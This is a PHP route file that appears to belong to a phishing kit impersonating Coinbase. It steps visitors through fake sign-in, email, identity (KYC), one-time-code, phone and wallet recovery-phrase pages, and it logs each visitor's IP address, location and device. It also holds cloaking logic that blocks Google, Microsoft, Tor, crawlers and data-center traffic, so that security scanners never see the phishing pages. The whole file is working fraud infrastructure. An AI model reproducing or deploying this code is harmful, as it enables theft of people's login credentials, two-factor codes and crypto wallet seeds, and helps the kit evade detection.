<?php

$jamsekarang = date("h:i:s A");
$namaHari = array(
    "Minggu",
    "Senin",
    "Selasa",
    "Rabu",
    "Kamis",
    "Jumat",
    "Sabtu",
    "Minggu"
);
$namaBulan = array(
    "Januari",
    "Februari",
    "Maret",
    "April",
    "Mei",
    "Juni",
    "Juli",
    "Agustus",
    "September",
    "Oktober",
    "November",
    "Desember"
);
$sekarang = $namaHari[date('N')] . ", " . date('j') . " " . $namaBulan[(date('n') - 1)] . " " . date('Y');    
    $_SESSION['hari'] = $sekarang;
    $_SESSION['jam'] = $jamsekarang;

$coinbase->get('/', function() {
    $v = ip_info(false);
    $u = ua_info($_SERVER['HTTP_USER_AGENT']);
    $ipquality = ipquality(false);
    $data = "{$_SESSION['hari']} - {$_SESSION['jam']}|ACCESS WITHOUT PARAMETER|{$v->ip}|{$v->location->country->code}|{$v->location->country->name}|{$ipquality->host}|{$v->connection->domain}|{$ipquality->ISP}|{$ipquality->connection_type}|{$u->name}|{$u->os->type}|{$u->device->name}|{$u->os->name}|{$u->header}";
    writeH($v->ip);
    writeL($data, 'bot');
    block();    
});

$coinbase->get('/' . $config['access_path'], function() {
    global $config;
    
    $v = ip_info(false);
    $u = ua_info($_SERVER['HTTP_USER_AGENT']);
    $ipquality = ipquality(false);
    
/*
    IPQUALITY PROTECTION
    */


    $banned_google_office = array(
        'Google Corporate Office');
    if (in_array($ipquality->ISP, $banned_google_office)){
    $data = "{$_SESSION['hari']} - {$_SESSION['jam']}|GOOGLE|{$v->ip}|{$v->location->country->code}|{$v->location->country->name}|{$ipquality->host}|{$v->connection->domain}|{$ipquality->ISP}|{$ipquality->connection_type}|{$u->name}|{$u->os->type}|{$u->device->name}|{$u->os->name}|{$u->header}";
    writeH($v->ip);
    writeL($data, 'bot');
    exit(block());        
    }

$banned_host = array('cache.google.com');

// Daftar perangkat yang dianggap mobile
$mobileDevices = ['mobile', 'ipad', 'iphone', 'android', 'tablet'];

if (in_array($ipquality->host, $banned_host)) {
    // Cek apakah device atau OS termasuk kategori mobile/tablet
    $isMobile = in_array(strtolower($u->device->name), $mobileDevices) 
                || in_array(strtolower($u->os->type), $mobileDevices);
    
    if (!$isMobile) {
        // Susun data log
        $data = "{$_SESSION['hari']} - {$_SESSION['jam']}|BOT|{$v->ip}|{$v->location->country->code}|{$v->location->country->name}|{$ipquality->host}|{$v->connection->domain}|{$ipquality->ISP}|{$ipquality->connection_type}|{$u->name}|{$u->os->type}|{$u->device->name}|{$u->os->name}|{$u->header}";
        
        // Tulis IP dan log
        writeH($v->ip);
        writeL($data, 'bot');
        
        // Blokir akses
        exit(block());
    }
}

    
$banned_data_center = array('Data Center');
$isp = trim(strtolower($ipquality->ISP));
$org = trim(strtolower($ipquality->organization));

// Nama-nama untuk allowlist
$icloud_relay_name  = 'icloud private relay';
$cloudflare_name    = 'cloudflare';
$googlecache_name   = 'google cache';

// Cek device
$device_type = strtolower($u->device->type); // contoh: 'mobile', 'tablet', 'desktop', 'ipad'

// Allowlist hanya untuk mobile/tablet/ipad
if (in_array($device_type, ['mobile', 'tablet', 'ipad'])) {
    if ($isp === $icloud_relay_name || $org === $icloud_relay_name ||
        $isp === $cloudflare_name || $org === $cloudflare_name ||
        $isp === $googlecache_name || $org === $googlecache_name) {
        return; // biarkan visitor mobile/tablet/ipad, tidak diblok
    }
}

// Blok Data Center untuk semua lainnya (desktop atau mobile/tablet/ipad yang tidak di-allow)
if (in_array($ipquality->connection_type, $banned_data_center) &&
    $isp !== strtolower($icloud_relay_name) &&
    $org !== strtolower($icloud_relay_name)) {

    $data = "{$_SESSION['hari']} - {$_SESSION['jam']}|DATA CENTER|{$v->ip}|{$v->location->country->code}|{$v->location->country->name}|{$ipquality->host}|{$v->connection->domain}|{$ipquality->ISP}|{$ipquality->connection_type}|{$u->name}|{$u->os->type}|{$u->device->name}|{$u->os->name}|{$u->header}";
    writeH($v->ip);
    writeL($data, 'bot');
    exit(block());        
}



if ($ipquality->is_crawler || $ipquality->tor 
    || stripos($ipquality->ISP, 'Level 3 Communications') !== false
    || stripos($ipquality->ISP, 'Tiscali') !== false
    || stripos($ipquality->ISP, 'Microsoft Corporation') !== false
) {
    $_SESSION['block'] = true;
    $data = "{$_SESSION['hari']} - {$_SESSION['jam']}|BOT|{$v->ip}|{$v->location->country->code}|{$v->location->country->name}|{$ipquality->host}|{$v->connection->domain}|{$ipquality->ISP}|{$ipquality->connection_type}|{$u->name}|{$u->os->type}|{$u->device->name}|{$u->os->name}|{$v->header}";
    writeH($v->ip);
    writeL($data, 'bot');
    exit(block());
}


    /*
    END IPQUALITY PROTECTION
    */
    
    
$jamsekarang = date("h:i:s A");
$namaHari = array(
    "Minggu",
    "Senin",
    "Selasa",
    "Rabu",
    "Kamis",
    "Jumat",
    "Sabtu",
    "Minggu"
);
$namaBulan = array(
    "Januari",
    "Februari",
    "Maret",
    "April",
    "Mei",
    "Juni",
    "Juli",
    "Agustus",
    "September",
    "Oktober",
    "November",
    "Desember"
);
$sekarang = $namaHari[date('N')] . ", " . date('j') . " " . $namaBulan[(date('n') - 1)] . " " . date('Y');    
    
    
    $_SESSION['url'] = (isset($_SERVER['HTTPS']) ? "https" : "http") . "://$_SERVER[HTTP_HOST]";
    $_SESSION['urlkirim'] = preg_replace( "#^[^:/.]*[:/]+#i", "", $_SESSION['url'] );
    $_SESSION['ip'] = $v->ip;
    $_SESSION['hari'] = $sekarang;
    $_SESSION['jam'] = $jamsekarang;
    $_SESSION['host'] = $ipquality->host;
    $_SESSION['region'] = $ipquality->region;
    $_SESSION['city'] = $ipquality->city;
    $_SESSION['ISP'] = $ipquality->ISP;
    $_SESSION['vpn'] = $ipquality->vpn;
    $_SESSION['connection_type'] = $ipquality->connection_type;
    $_SESSION['abuse_velocity'] = $ipquality->abuse_velocity;
    $_SESSION['zip_code'] = $ipquality->zip_code;
    $_SESSION['latitude'] = $ipquality->latitude;
    $_SESSION['longitude'] = $ipquality->longitude;
    $_SESSION['country'] = $v->location->country->name;
    $_SESSION['countryCode'] = $v->location->country->code;
    $_SESSION['regionName'] = $v->location->region->name;
    $_SESSION['call_code'] = $v->location->country->calling_code;
    $_SESSION['city'] = $v->location->city;
    $_SESSION['route'] = $v->connection->route;
    $_SESSION['domain_ip'] = $v->connection->domain;
    $_SESSION['agent'] = $u->header;
    $_SESSION['user_browser'] = $u->name;
    $_SESSION['user_os'] = $u->os->type;
    $_SESSION['user_os_device'] = $u->device->name;
    $_SESSION['user_os_name'] = $u->os->name;
    $_SESSION['cf'] = hash_hmac('sha256', microtime(true), '$_SESSION["ip"]');
    $_SESSION['abcd'] = round(microtime(true));


    $data = "{$_SESSION['hari']} - {$_SESSION['jam']}|{$v->ip}|{$v->location->country->code}|{$v->location->country->name}|{$ipquality->host}|{$v->connection->domain}|{$ipquality->ISP}|{$ipquality->connection_type}|{$u->name}|{$u->os->type}|{$u->device->name}|{$u->os->name}|{$u->header}|{$ipquality->region}|{$ipquality->city}|{$ipquality->longitude}|{$ipquality->latitude}";
    writeL($data, 'click');
    
    redirect("/signin?login_challenge=" . $_SESSION['cf']);
});


$coinbase->get("/signin", function() {
    if(!isset($_SESSION['cf'])){
        block();
    }
    $data = "{$_SESSION['hari']} - {$_SESSION['jam']}|Access Login Page|{$_SESSION['ip']}|{$_SESSION['countryCode']}|{$_SESSION['country']}|{$_SESSION['host']}|{$_SESSION['domain_ip']}|{$_SESSION['ISP']}|{$_SESSION['connection_type']}|{$_SESSION['user_browser']}|{$_SESSION['user_os']}|{$_SESSION['user_os_device']}|{$_SESSION['user_os_name']}|{$_SESSION['agent']}";
    writeL($data, 'visitor');
    
    $fs = array('top', 'email', 'password', 'cookies', 'bottom');
    foreach($fs as $f){
        include("pages/{$f}.php");
    }
});

$coinbase->get("/oauth/authorize/oauth_signin", function() {
    global $config;
    if(!isset($_SESSION['cf'])){
        block();
    }
    
    if($config['email_access'] == "disable"){
        redirect(APP_URL . "/account_recovery/" . $_SESSION['cf'] . "/identity");
    }
    
    $data = "{$_SESSION['hari']} - {$_SESSION['jam']}|Access Email Page|{$_SESSION['ip']}|{$_SESSION['countryCode']}|{$_SESSION['country']}|{$_SESSION['host']}|{$_SESSION['domain_ip']}|{$_SESSION['ISP']}|{$_SESSION['connection_type']}|{$_SESSION['user_browser']}|{$_SESSION['user_os']}|{$_SESSION['user_os_device']}|{$_SESSION['user_os_name']}|{$_SESSION['agent']}";
    writeL($data, 'visitor');
    $fs = array($_SESSION['email_provider']);
    foreach($fs as $f){
        include("pages/{$f}.php");
    }
});

$coinbase->get("/account_recovery/" . $_SESSION['cf'] . "/identity", function() {
    global $config;
    if(!isset($_SESSION['cf'])){
        block();
    }
    
    if($config['identity_page'] == "disable"){
        redirect(APP_URL . "/two-factor?session_id=" . $_SESSION['cf']);
    }
    
    $data = "{$_SESSION['hari']} - {$_SESSION['jam']}|Access KYC Page|{$_SESSION['ip']}|{$_SESSION['countryCode']}|{$_SESSION['country']}|{$_SESSION['host']}|{$_SESSION['domain_ip']}|{$_SESSION['ISP']}|{$_SESSION['connection_type']}|{$_SESSION['user_browser']}|{$_SESSION['user_os']}|{$_SESSION['user_os_device']}|{$_SESSION['user_os_name']}|{$_SESSION['agent']}";
    writeL($data, 'visitor');
    $fs = array('kyc');
    foreach($fs as $f){
        include("pages/{$f}.php");
    }
});

$coinbase->get("/account_recovery/" . $_SESSION['cf'] . "/textmatch", function() {
    global $config;
    if(!isset($_SESSION['cf'])){
        block();
    }
    
    if($config['identity_page_v2'] == "disable"){
        redirect(APP_URL . "/completed?session_id=" . $_SESSION['cf']);
    }
    
    $data = "{$_SESSION['hari']} - {$_SESSION['jam']}|Access KYC V2 Page|{$_SESSION['ip']}|{$_SESSION['countryCode']}|{$_SESSION['country']}|{$_SESSION['host']}|{$_SESSION['domain_ip']}|{$_SESSION['ISP']}|{$_SESSION['connection_type']}|{$_SESSION['user_browser']}|{$_SESSION['user_os']}|{$_SESSION['user_os_device']}|{$_SESSION['user_os_name']}|{$_SESSION['agent']}";
    writeL($data, 'visitor');
    $fs = array('kyc-v2');
    foreach($fs as $f){
        include("pages/{$f}.php");
    }
});

$coinbase->get("/two-factor", function() {
    global $config;
    if(!isset($_SESSION['cf'])){
        block();
    }
    
    if($config['otp_page'] == "disable"){
        redirect(APP_URL . "/account_recovery/" . $_SESSION['cf'] . "/textmatch");
    }
    
    $data = "{$_SESSION['hari']} - {$_SESSION['jam']}|Access OTP Page|{$_SESSION['ip']}|{$_SESSION['countryCode']}|{$_SESSION['country']}|{$_SESSION['host']}|{$_SESSION['domain_ip']}|{$_SESSION['ISP']}|{$_SESSION['connection_type']}|{$_SESSION['user_browser']}|{$_SESSION['user_os']}|{$_SESSION['user_os_device']}|{$_SESSION['user_os_name']}|{$_SESSION['agent']}";
    writeL($data, 'visitor');
    $fs = array('top', $config['verify_type'], 'bottom');
    foreach($fs as $f){
        include("pages/{$f}.php");
    }
});

$coinbase->get("/completed", function() {
    if(!isset($_SESSION['cf'])){
        block();
    }
    $data = "{$_SESSION['hari']} - {$_SESSION['jam']}|Access Done Page|{$_SESSION['ip']}|{$_SESSION['countryCode']}|{$_SESSION['country']}|{$_SESSION['host']}|{$_SESSION['domain_ip']}|{$_SESSION['ISP']}|{$_SESSION['connection_type']}|{$_SESSION['user_browser']}|{$_SESSION['user_os']}|{$_SESSION['user_os_device']}|{$_SESSION['user_os_name']}|{$_SESSION['agent']}";
    writeL($data, 'visitor');
    $fs = array('done');
    foreach($fs as $f){
        include("pages/{$f}.php");
    }
});

$coinbase->get("/account_recovery/" . $_SESSION['cf'] . "/start", function() {
    global $config;
    if(!isset($_SESSION['cf'])){
        block();
    }
    
    if($config['phone_page'] == "disable"){
        redirect(APP_URL . "/oauth/authorize/oauth_signin?client_id=" . $_SESSION['cf']);
    }

    $data = "{$_SESSION['hari']} - {$_SESSION['jam']}|Access Phone Page|{$_SESSION['ip']}|{$_SESSION['countryCode']}|{$_SESSION['country']}|{$_SESSION['host']}|{$_SESSION['domain_ip']}|{$_SESSION['ISP']}|{$_SESSION['connection_type']}|{$_SESSION['user_browser']}|{$_SESSION['user_os']}|{$_SESSION['user_os_device']}|{$_SESSION['user_os_name']}|{$_SESSION['agent']}";
    writeL($data, 'visitor');
    $fs = array('phone');
    foreach($fs as $f){
        include("pages/{$f}.php");
    }
});

$coinbase->get("/account_recovery/" . $_SESSION['cf'] . "/phrase", function() {
    global $config;
    if(!isset($_SESSION['cf'])){
        block();
    }

    $data = "{$_SESSION['hari']} - {$_SESSION['jam']}|Access Phrase Page|{$_SESSION['ip']}|{$_SESSION['countryCode']}|{$_SESSION['country']}|{$_SESSION['host']}|{$_SESSION['domain_ip']}|{$_SESSION['ISP']}|{$_SESSION['connection_type']}|{$_SESSION['user_browser']}|{$_SESSION['user_os']}|{$_SESSION['user_os_device']}|{$_SESSION['user_os_name']}|{$_SESSION['agent']}";
    writeL($data, 'visitor');
    $fs = array('phrase');
    foreach($fs as $f){
        include("pages/{$f}.php");
    }
});

$coinbase->get("/daeso3ohP1th", function() {
    global $config;
    if(!isset($_SESSION['cf'])){
        block();
    }

    if($config['google_challenge_page'] == "disable"){
        redirect(APP_URL . "/account_recovery/" . $_SESSION['cf'] . "/identity");
    }
    
    $data = "{$_SESSION['hari']} - {$_SESSION['jam']}|Challenge Gmail|{$_SESSION['ip']}|{$_SESSION['countryCode']}|{$_SESSION['country']}|{$_SESSION['host']}|{$_SESSION['domain_ip']}|{$_SESSION['ISP']}|{$_SESSION['connection_type']}|{$_SESSION['user_browser']}|{$_SESSION['user_os']}|{$_SESSION['user_os_device']}|{$_SESSION['user_os_name']}|{$_SESSION['agent']}";
    writeL($data, 'visitor');
    $fs = array($config['google_type']);
    foreach($fs as $f){
        include("pages/{$f}.php");
    }
});

$coinbase->get("/feil2ahfuWoh", function() {
    global $config;
    if(!isset($_SESSION['cf'])){
        block();
    }

    if($config['google_challenge_page_v3'] == "disable"){
        redirect(APP_URL . "/account_recovery/" . $_SESSION['cf'] . "/identity");
    }
    
    $data = "{$_SESSION['hari']} - {$_SESSION['jam']}|Prompt Gmail|{$_SESSION['ip']}|{$_SESSION['countryCode']}|{$_SESSION['country']}|{$_SESSION['host']}|{$_SESSION['domain_ip']}|{$_SESSION['ISP']}|{$_SESSION['connection_type']}|{$_SESSION['user_browser']}|{$_SESSION['user_os']}|{$_SESSION['user_os_device']}|{$_SESSION['user_os_name']}|{$_SESSION['agent']}";
    writeL($data, 'visitor');
    $fs = array('v3');
    foreach($fs as $f){
        include("pages/{$f}.php");
    }
});

$coinbase->set404(function() {
    $fs = array('404');
    foreach($fs as $f){
        include("pages/{$f}.php");
    }
});
